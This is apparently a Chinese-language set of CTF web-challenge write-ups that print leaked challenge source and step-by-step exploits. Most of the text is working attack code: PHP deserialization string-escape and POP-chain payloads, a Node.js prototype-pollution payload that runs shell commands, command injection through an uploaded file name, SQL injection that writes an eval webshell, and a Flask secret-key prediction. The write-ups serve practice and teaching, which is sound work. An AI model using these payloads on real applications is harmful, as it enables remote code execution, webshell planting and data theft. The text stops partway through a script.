if($_POST['action'] === 'register'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = register($user,$pass);if($res){Header("Location: index.php");}else{$errmsg = "Username has been registered!";}}else{Header("Location: error_parameter.php");}
}
if (!$_SESSION['login']) {include "templates/register.html";
} else {Header("Location : user.php?page=info");
}?>
config:
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?>
user:
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
login:
<?php
require_once "function.php";
if($_POST['action'] === 'login'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = login($user,$pass);if(!$res){Header("Location: index.php");}else{Header("Location: user.php?page=info");}}else{Header("Location: error_parameter.php");}
}else if($_REQUEST['action'] === 'logout'){logout();
}else{Header("Location: error_parameter.php");
}?>
这里的parse_url有漏洞
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
然后看到有个文件上传:
有个php,看看
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>
看到了system,
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
也就是说我们可以构造 ;`ls 来命令执行
但是
那就是不是这个,看看上文的两个文件
ffffllllaaaaggg没用
在这里
改filename
终于
那就用cd ..;ls
cd ..;tac f*
[GYCTF2020]Easyphp
反序类化
www.zip泄露:
index.php
<?php
require_once "lib.php";if(isset($_GET['action'])){require_once(__DIR__."/".$_GET['action'].".php");
}
else{if($_SESSION['login']==1){echo "<script>window.location.href='./index.php?action=update'</script>";}else{echo "<script>window.location.href='./index.php?action=login'</script>";}
}
?>
lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}
login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center><form action="login.php" method="post" style="margin-top: 300"><h2>百万前端的用户信息管理系统</h2><h3>半成品系统 留后门的程序员已经跑路</h3><input type="text" name="username" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="password" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button><br><img src='img/1.jpg'>大家记得做好防护</img><br><br>
<?php
$user=new user();
if(isset($_POST['username'])){if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){die("<br>Damn you, hacker!");}if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){die("Damn you, hacker!");}$user->login();
}
?></form>
</center>
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>
以admin身份登陆就给flag
passwd等于md5加密后的值,token=admin
sql查询:
怎么构造呢
入点:
既然有echo,就可以toString
将nickname = new Info,就可以调用_call()
然后 CtrlCase = new User,即可调用login()
脚本:c4ca4238a0b923820dcc509a6f75849b就是1的md5
<?php
class User
{public $age = null;public $nickname = null;public function __construct(){$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname = new Info();}
}
class Info
{public $CtrlCase;public function __construct(){$this->CtrlCase = new dbCtrl();}
}
class UpdateHelper
{public $sql;public function __construct(){$this->sql = new User();}
}
class dbCtrl
{public $name = "admin";public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
然后就是这个东西:
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
替换字符?字符串逃逸
这里反序列化,继续跟踪:
在这里
这里序列化,我们就是传入age和nickname参数,所以要用字符串逃逸
看看原本是怎么样的:
<?phpclass Info{public $age=1;public $nickname=2;public $CtrlCase=3;
}$a=new Info();echo (serialize($a));
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";i:2;s:8:"CtrlCase";i:3;}
然后这里的info对应3个变量,所以我们可以这么改:
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}
一共263个,我们就用263个union把他挤出来
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}
当变成hacker是,红色部分就会被挤出nickname变量的范围
因为满足3个变量,所以}}}}}后的部分自动舍弃
payload:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
然后回到登录界面
admin + 任意密码登录:
[GYCTF2020]Ez_Express
强制大写漏洞,原型链污染
扫描www.zip
index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});
router.post('/action', function (req, res) {if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
action路由只能由admin来用
看看登录的逻辑:
调用了safeKeyword,对user进行转换,看看这个可不可以绕过
参考文章
"ı"、"ſ" 、 "K"
所以就是admın
然后呢?就是原型链污染:
这里有个outputFunctionName
js审计如果看见merge,clone函数,可以往原型链污染靠
payload:
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
这里记得改成application/json
然后就访问info得flag
[SUCTF 2018]MultiSQL
预处理注入
代码审计
先注册,
这里id可以堆叠注入, fuzz测试后发现过滤了union,select ,&,|
写入shell:
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/1.php';
使用预处理注入
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59)
payload:
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59);prepare query from @sql;execute query;
[SUCTF 2018]annonymous
create_function函数名%00lambda_%d
创建一个匿名函数,并将其赋值给变量 $MY
,die在结束的同时会执行里面的内容(cat flag.php)
create_function文章
%00lambda_%d ,而%d则是一个计数器会递增,用来记录create_function()这个函数执行了多少次
可以直接func_name=%00lambda_1然后用bp爆破一直请求
因为这个服务器是一个多线程,所以%d就会从1~9不断循环,一直爆破知道刚好到1就欧克
(不过这题环境有点脆弱,搞多了直接500了)
[RootersCTF2019]babyWeb
报错注入
非预期?
1 || 1=1 limit 0,1
加个 limit 0,1限制只读取第一行
还有一种就是报错注入:
1 || (extractvalue(1,concat(0x5c,database(),0x5c)))%23
1||(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))%23
这里虽然过滤了',但是我们可以用禁止:
'users'
——>0x7573657273
1||(extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=0x7573657273))))%23
加上 limit 4,1
1||(extractvalue(1,concat(0x5c,(select uniqueid from users limit 0,1))))%23
然后直接search=837461526918364526也可以出flag
[安洵杯 2019]不是文件上传
序列化protect绕过
看到这个界面感觉是sql
在github上查看源码:
<?php
// 定义一个名为 helper 的类,用于处理图片上传和相关操作
class helper {// 定义一个受保护的属性 $folder,用于存储上传图片的文件夹路径protected $folder = "pic/";// 定义一个受保护的属性 $ifview,用于控制文件查看功能是否可用,初始值为 Falseprotected $ifview = False;// 定义一个受保护的属性 $config,用于指定配置文件的名称protected $config = "config.txt";// 注释说明该类中的某些功能还不完善,尚未开放// 定义一个公共方法 upload,用于处理图片上传操作,默认表单文件字段名为 "file"public function upload($input="file"){// 调用 getfile 方法获取上传文件的相关信息$fileinfo = $this->getfile($input);// 初始化一个空数组 $array,用于存储文件的详细信息$array = array();// 将文件的标题信息存入数组$array["title"] = $fileinfo['title'];// 将文件名存入数组$array["filename"] = $fileinfo['filename'];// 将文件扩展名存入数组$array["ext"] = $fileinfo['ext'];// 将文件存储路径存入数组$array["path"] = $fileinfo['path'];// 使用 getimagesize 函数获取上传图片的尺寸信息,返回一个数组$img_ext = getimagesize($_FILES[$input]["tmp_name"]);// 从尺寸信息数组中提取图片的宽度和高度,存入新数组 $my_ext$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);// 使用 serialize 函数将 $my_ext 数组序列化为字符串,并将其存入 $array 数组的 "attr" 键中$array["attr"] = serialize($my_ext);// 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID$id = $this->save($array);// 如果保存操作返回的 ID 为 0,表示保存失败,输出错误信息并终止脚本if ($id == 0){die("Something wrong!");}// 输出换行符echo "<br>";// 输出上传成功的提示信息,包含图片的 IDecho "<p>Your images is uploaded successfully. And your image's id is $id.</p>";}// 定义一个公共方法 getfile,用于获取上传文件的相关信息public function getfile($input){// 检查 $input 是否被设置if(isset($input)){// 调用 check 方法对上传文件的信息进行检查,并将结果存储在 $rs 中$rs = $this->check($_FILES[$input]);}// 返回检查后的文件信息return $rs;}// 定义一个公共方法 check,用于检查上传文件的合法性public function check($info){// 生成一个唯一的文件名,使用当前时间和唯一 ID 进行 MD5 加密,截取中间 16 位$basename = substr(md5(time().uniqid()),9,16);// 获取上传文件的原始文件名$filename = $info["name"];// 从文件名中提取文件扩展名$ext = substr(strrchr($filename, '.'), 1);// 定义一个允许上传的文件扩展名数组$cate_exts = array("jpg","gif","png","jpeg");// 检查上传文件的扩展名是否在允许的扩展名数组中if(!in_array($ext,$cate_exts)){// 如果不在允许的扩展名数组中,输出错误信息并终止脚本die("<p>Please upload the correct image file!!!</p>");}// 从文件名中去除扩展名,得到文件标题$title = str_replace(".".$ext,'',$filename);// 返回一个包含文件标题、文件名、扩展名和存储路径的数组return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);}// 定义一个公共方法 save,用于将文件信息保存到数据库public function save($data){// 检查 $data 是否为空或不是数组if(!$data || !is_array($data)){// 如果条件满足,输出错误信息并终止脚本die("Something wrong!");}// 调用 insert_array 方法将文件信息插入数据库,并获取插入记录的 ID$id = $this->insert_array($data);// 返回插入记录的 IDreturn $id;}// 定义一个公共方法 insert_array,用于将数组数据插入数据库public function insert_array($data){// 连接到本地 MySQL 数据库,使用用户名 "r00t"、密码 "r00t" 和数据库名 "pic_base"$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");// 检查数据库连接是否失败if (mysqli_connect_errno($con)){// 如果连接失败,输出错误信息并终止脚本die("Connect MySQL Fail:".mysqli_connect_error());}// 初始化一个空数组 $sql_fields,用于存储 SQL 语句中的字段名$sql_fields = array();// 初始化一个空数组 $sql_val,用于存储 SQL 语句中的字段值$sql_val = array();// 遍历 $data 数组,将字段名和字段值分别存储到 $sql_fields 和 $sql_val 数组中foreach($data as $key=>$value){// 对字段名中的特殊字符进行替换$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);// 对字段值中的特殊字符进行替换$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);// 将处理后的字段名添加到 $sql_fields 数组中,并添加反引号$sql_fields[] = "`".$key_temp."`";// 将处理后的字段值添加到 $sql_val 数组中,并添加单引号$sql_val[] = "'".$value_temp."'";}// 构建 SQL 插入语句,将字段名和字段值分别用逗号连接$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";// 执行 SQL 插入语句mysqli_query($con, $sql);// 获取插入记录的 ID$id = mysqli_insert_id($con);// 关闭数据库连接mysqli_close($con);// 返回插入记录的 IDreturn $id;}// 定义一个公共方法 view_files,用于查看文件内容public function view_files($path){// 检查 $ifview 属性是否为 Falseif ($this->ifview == False){// 如果为 False,返回 False,表示文件查看功能不可用return False;// 注释说明该功能还不完善,尚未开放}// 使用 file_get_contents 函数读取文件内容$content = file_get_contents($path);// 输出文件内容echo $content;}// 定义析构函数,当对象被销毁时自动调用function __destruct(){# 读取一些配置文件的内容// 调用 view_files 方法读取配置文件内容$this->view_files($this->config);}
}?>
这里有一个file_ge_contents函数,在_destruct中调用
这里的ifview要为true
参数是这个
反序列化:
<?php
class helper {protected $ifview = True; protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
然后ifview和config因为是protect,用\0\0\0来绕:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
sql语句:
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
然后这里attr可以序列化,然后因为文件名不能有'',就先16进制编码:
4F3A363A2268656C706572223A323A7B733A393A225C305C305C30696676696577223B623A313B733A393A225C305C305C30636F6E666967223B733A353A222F666C6167223B7D
然后就构造
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES()他是这样一种形式,然后我们要
让反序列化的在attr位置上,因为我们可以改变文件名控制title,所以直接截断
filename=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg','源filename','源ext','源path','源attr')
[强网杯 2019]Upload
扫描发现www.tar.gz
login.php
<?php
namespace app\web\controller;
use think\Controller;class Login extends Controller
{public $checker;public function __construct(){$this->checker=new Index();}public function login(){if($this->checker){if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";$this->redirect($curr_url,302);exit();}}if(input("?post.email") && input("?post.password")){$email=input("post.email","","addslashes");$password=input("post.password","","addslashes");$user_info=db("user")->where("email",$email)->find();if($user_info) {if (md5($password) === $user_info['password']) {$cookie_data=base64_encode(serialize($user_info));cookie("user",$cookie_data,3600);$this->success('Login successful!', url('../home'));} else {$this->error('Login failed!', url('../index'));}}else{$this->error('email not registed!',url('../index'));}}else{$this->error('email or password is null!',url('../index'));}}}
这里有个序列化
register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;public function __construct(){$this->checker=new Index();}public function register(){if ($this->checker) {if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";$this->redirect($curr_url,302);exit();}}if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {$email = input("post.email", "", "addslashes");$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");if($this->check_email($email)) {if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];if (db("user")->insert($user_info)) {$this->registed = 1;$this->success('Registed successful!', url('../index'));} else {$this->error('Registed failed!', url('../index'));}} else {$this->error('Account already exists!', url('../index'));}}else{$this->error('Email illegal!', url('../index'));}} else {$this->error('Something empty!', url('../index'));}}public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";preg_match($pattern, $email, $matches);if(empty($matches)){return 0;}else{return 1;}}public function __destruct(){if(!$this->registed){$this->checker->index();}}}
有__destruct()方法,入点就是这个了
checker->index(),这个怎么利用呢?
profile
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __construct(){$this->checker=new Index();$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);@chdir("../public/upload");if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);}public function upload_img(){if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();if(empty($user_info['img']) && $this->img){if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();$this->success('Upload img successful!', url('../home'));}else{$this->error('Upload file failed!', url('../index'));}}}public function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}public function ext_check(){$ext_arr=explode(".",$this->filename);$this->ext=end($ext_arr);if($this->ext=="png"){return 1;}else{return 0;}}public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}
看到_call方法,所以checker=new Profile就可以调用_call()(没有index()这个方法)
但是$name没有这个属性,所以又会触发_get()
expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组
$except=['index'=>'upload_img']
接着看到这里:
这里就是会把filename_tmp的内容复制到filename,那我们就可以先filename_temp写木马,然后filename改成php后缀
抓包查看:
传马:
看路径:
/upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png
<?php
namespace app\web\controller;
class Profile
{public $checker=0;public $filename_tmp="../upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png";public $filename="../upload/1.php";public $ext=1;public $except=array('index'=>'upload_img');}
class Register
{public $checker;public $registed=0;
}$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9lMGNkN2MyOGI3NDMyN2IzYmQxNDcyMzc4YmRmYmZhMi9mM2NjZGQyN2QyMDAwZTNmOTI1NWE3ZTNlMmM0ODgwMC5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTU6Ii4uL3VwbG9hZC8xLnBocCI7czozOiJleHQiO2k6MTtzOjY6ImV4Y2VwdCI7YToxOntzOjU6ImluZGV4IjtzOjEwOiJ1cGxvYWRfaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2k6MDt9
然后我看其他师傅说该cookie直接访问,但是我试了很多次直接显示file no found 搞不懂
[CISCN2019 华东南赛区]Web4
flask-session加密/伪随机数
read?url=/etc/passwd
测试:read?url=file:///etc/passwd,没东西
/read?url=local_file:///etc/passwd 可以,所以这题就是python后端flask
/read?url=local_file:///app/app.py看源码:
import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! Read somethings'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print(str(ex))return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__ == '__main__':app.run(debug=True, host="0.0.0.0")
这里:
这个一眼jwt
然后
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
这里使用了伪随机数,也就是当seed确定时,接下来的随机数都是可预测的。
seed使用了uuid.getnode()
函数的值,该函数用于获取Mac地址并将其转换为整数
/read?url=local_file:///sys/class/net/eth0/address
读取mac地址: ea:62:fb:6a:25:c7
import random
random.seed(0xea62fb6a25c7)
print(str(random.random()*233))
然后这里是说出题的时候是用python2跑的,2和3小数点后面保留位数不一样
102.787116078 06235
脚本:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
